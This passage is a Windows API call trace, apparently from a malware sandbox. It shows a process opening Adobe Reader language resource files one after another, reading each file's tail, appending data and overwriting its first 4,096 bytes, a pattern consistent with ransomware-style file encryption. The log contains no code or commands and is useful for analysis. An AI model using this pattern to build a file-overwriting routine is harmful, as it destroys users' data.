lpMultiByteStr=0x1e78b04, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0043.799] ReadFile (in: hFile=0x1ac, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0043.801] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x165c4 [0043.801] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0043.803] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x165c4 [0043.803] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0043.804] WriteFile (in: hFile=0x1ac, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0043.804] CloseHandle (hObject=0x1ac) returned 1 [0043.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0043.804] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0043.805] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6c88 [0043.805] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0043.805] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.805] ReleaseMutex (hMutex=0x128) returned 1 [0043.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb4c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar.txt", lpUsedDefaultChar=0x0) returned 27 [0043.805] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.541] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5c88 [0044.541] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.544] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5c88 [0044.544] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.545] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.545] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.545] CloseHandle (hObject=0x1ac) returned 1 [0044.545] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.546] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.546] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6c96 [0044.546] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.546] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.546] ReleaseMutex (hMutex=0x128) returned 1 [0044.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.546] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LY.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_LY.txt", lpUsedDefaultChar=0x0) returned 30 [0044.546] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.547] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5c96 [0044.548] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.551] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5c96 [0044.551] WriteFile (in: hFile=0x1ac, lpBuffer=0x1decf78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1decf78*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.552] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.552] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.552] CloseHandle (hObject=0x1ac) returned 1 [0044.552] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.552] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.552] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6cde [0044.552] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.552] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.552] ReleaseMutex (hMutex=0x128) returned 1 [0044.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg_BG.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg_BG.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb7c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.bg_BG.txt", lpUsedDefaultChar=0x0) returned 30 [0044.553] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.556] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5cde [0044.556] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.557] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5cde [0044.558] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.558] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.558] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.558] CloseHandle (hObject=0x1ac) returned 1 [0044.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.559] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.559] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x7326 [0044.559] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.559] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.559] ReleaseMutex (hMutex=0x128) returned 1 [0044.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0044.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x1eb2084, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_DE_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0044.559] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.565] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x6326 [0044.565] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.567] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x6326 [0044.567] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.567] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.567] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.567] CloseHandle (hObject=0x1ac) returned 1 [0044.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.567] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.568] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6ec8 [0044.568] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.568] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.568] ReleaseMutex (hMutex=0x128) returned 1 [0044.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_AR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_AR.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_AR.txt", lpUsedDefaultChar=0x0) returned 30 [0044.568] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.573] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5ec8 [0044.573] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.577] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5ec8 [0044.577] WriteFile (in: hFile=0x1ac, lpBuffer=0x1deef78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef78*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.577] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.577] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.577] CloseHandle (hObject=0x1ac) returned 1 [0044.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.578] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.578] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6ec8 [0044.578] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.578] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.578] ReleaseMutex (hMutex=0x128) returned 1 [0044.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_HN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_HN.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_HN.txt", lpUsedDefaultChar=0x0) returned 30 [0044.578] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.580] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5ec8 [0044.580] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.583] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5ec8 [0044.584] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.584] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0044.584] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.584] CloseHandle (hObject=0x1ac) returned 1 [0044.584] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0044.585] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.585] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6ec8 [0044.585] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0044.585] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.585] ReleaseMutex (hMutex=0x128) returned 1 [0044.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_VE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_VE.txt", cchWideChar=30, lpMultiByteStr=0x1e7faec, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_VE.txt", lpUsedDefaultChar=0x0) returned 30 [0044.585] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.587] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5ec8 [0044.587] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0044.588] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x5ec8 [0044.588] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.589] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 